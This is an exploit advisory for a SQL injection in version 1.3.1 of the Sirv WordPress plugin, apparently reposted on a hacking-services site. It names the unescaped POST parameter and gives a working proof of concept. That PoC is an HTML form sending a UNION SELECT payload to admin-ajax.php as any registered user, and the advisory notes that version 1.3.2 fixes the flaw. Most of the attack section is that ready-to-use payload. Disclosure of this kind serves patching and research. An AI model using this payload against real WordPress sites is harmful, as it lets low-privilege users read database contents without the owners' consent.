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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Sirv 1.3.1 Plugin For WordPress Sql Injection
# Date: 10/11/2016
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/sirv/
# Software Link: https://wordpress.org/plugins/sirv/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 1.3.1
# Tested on: Windows 8.1


1 - Description

$_POST[ ‘id’ ] is not escaped. sirv_get_row_by_id() is accessible for every
registered user.

http://lenonleite.com.br/en/blog/2016/11/10/sirv-1-3-1-plugin-for-wordpress/

2. Proof of Concept

Login as regular user.

<form method="post" action="http://target/wp-admin/admin-ajax.php">
    <input type="text" name="row_id" value="0 UNION SELECT 1, name,slug, term_group, 6, 7, 8, 9, 10, 11, 12 FROM wp_terms WHERE term_id=1">
    <input type="text" name="action" value="sirv_get_row_by_id">
    <input type="submit" value="Send">
</form>

 3. Solution:

Update to version 1.3.2

-- 
Atenciosamente

Lenon Leite